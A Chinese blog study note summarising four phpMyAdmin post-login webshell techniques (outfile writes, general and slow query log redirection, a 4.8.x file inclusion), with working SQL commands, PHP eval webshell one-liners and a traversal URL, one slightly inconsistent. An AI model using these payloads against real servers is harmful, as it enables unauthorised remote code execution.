phpmyadmin后台getshell方法学习总结

0x00 前言

最近看的一篇文章中提到过phpmyadmin一些后台getshell方式,就想着写篇博客学习总结一下~~

0x01 getshell方法

一、select into outfile直接写入

1.利用条件

  • 对web目录需要有写权限能够使用单引号
  • 知道绝对路径
  • secure_file_priv没有具体值

2.步骤
查看有没有配置secure_file_priv

show global variables like '%secure%';

在这里插入图片描述
secure_file_priv为NULL,表示限制mysql不允许导入导出。没有具体值时,表示不对mysqld 的导入导出做限制。

当知道路径时(通过报错获取路径/phpinfo),可以直接用

?id=1 union select "<?php @eval($_POST['quan']);?>" into outfile("G:/phpStudy/PHPTutorial/www/quan.php")

或者选择一个数据库如test
新创建一个表a
在a中插入<?php @eval($_POST['quan']);?>
然后select * from a into outfile 'G:/phpStudy/PHPTutorial/www/quan.php';
将a中的数据导出到文件quan.php

二、开启全局日志getshell

1.利用条件
必须是root权限
2.步骤
查看配置

show variables like '%general%';

在这里插入图片描述
开启general log模式

set global general_log = on;

设置日志目录为shell地址

set global general_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';

在这里插入图片描述
写入shell

select '<?php eval($_POST[cmd]);?>'

在这里插入图片描述
文件内容如下,然后用菜刀连就好啦
在这里插入图片描述

三、使用慢查询日志getshell

1.慢查询日志
记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句。
2.步骤

show variables like '%slow%';

在这里插入图片描述
修改日志文件绝对路径及文件名

set global slow_query_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';

启用慢查询日志

set GLOBAL slow_query_log=on;

写shell

select '<?php phpinfo();?>' from mysql.db where sleep(10);

四、利用phpmyadmin4.8.x本地文件包含漏洞getshell

通过包含sedsion文件的方法来getshell
1.步骤

select '<?php phpinfo()?>'; 

然后查看自己的sessionid(cookie中phpMyAdmin的值)
对应的SESSION文件为 /tmp/sess_sessionid
然后包含session文件
http://xxx/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sessionid

0x02 参考

https://www.jianshu.com/p/ddd41b841c36

原文地址:https://www.cnblogs.com/0nc3/p/12071314.html